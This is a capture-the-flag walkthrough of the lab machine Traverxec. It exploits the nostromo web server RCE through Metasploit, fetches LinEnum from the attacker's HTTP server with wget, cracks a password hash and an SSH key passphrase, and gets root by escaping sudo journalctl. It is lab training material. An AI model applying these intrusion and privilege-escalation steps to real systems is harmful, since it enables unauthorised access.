Traverxec
Traverexec is a easy difficulty linux machine that's a good introduction to web to host exploitation as well as SSH usage
Recon
we start off by scanning Traverexec's IP 10.10.10.165 with nmap
From our results we get the following ports and services
Right off we see that it's only running 2 services and we have potentially have the server service name nostromo
We can use searchsploit to check if there are any existing exploits for nostromo V1.9.6 using searchsploit nostromo
Perfect we find that there's a RCE exploit for this version of nostromo.
Now lets fire up Metsploit Framework with msfconsole and search for the exploit search nostromo
Perfect! msf has the exploit we want to use now lets select and configure it
Exploit
after a few seconds we should get the following
Great! we have shell, unfortunately it's a limited shell but we can fix that up by upgrading it to a full PTY shell with python -c 'import pty:pty.spawn("/bin/bash")'
Now with a full shell lets enumerate some more seeing as we are just a low privelage shell right now, we need to get user. To do this we will get LinEnum https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh
Once we have it, it's time to get it on the victim to do this we'll fire up python -m simpleHTTPServer and on the victim we'll do wget IP Port/LinEnum.sh once we have it we need to set it's permissions with chmod +x LinEnum.sh and then run it ./LinEnum.sh
Upon completetion we find one line that stands out
We got a password hash!, coming back to our local machine, we'll put that hash into a file and run it through John
Upon completion we get the password Nowonly4me
Wee also see that within /home/david/public_wwwcontains a folder protected-file-areawhich is protected by.htaccess checking nostromo documentation http://www.nazgul.ch/dev/nostromo_man.html we see that there is yet another director we can access ~david trying to access this directory gives us the following page
Doesn't look very interesting does it? well typing in the url 10.10.10.165/~david/protected-file-area gives us a auth screen and we already have the credentials for it david:Nowonly4me it takes us to a index page where we can download backup-ssh-identity-files.tgz
Once downloaded we can extract the ssh keys it gives us the following files
Unfortunately the id_rsa is encrypted but luckily we can pass it through john
Great! we got the password hunter we can now use this with id_rsa to connect via ssh
And With that we have User!
Post Exploitation
Checking David's home dir we find
server-stats.head Gives us a banner not much useful, however checking server-stats.sh We get the following
The last line /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat shows us that journalctl is running as root, so can we exploit this?
Yes we can! Checking GTFOBins https://gtfobins.github.io/gtfobins/journalctl/ we find that simply typing !/bin/sh from within journalctl can give us root access! /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
Useful Links
Last updated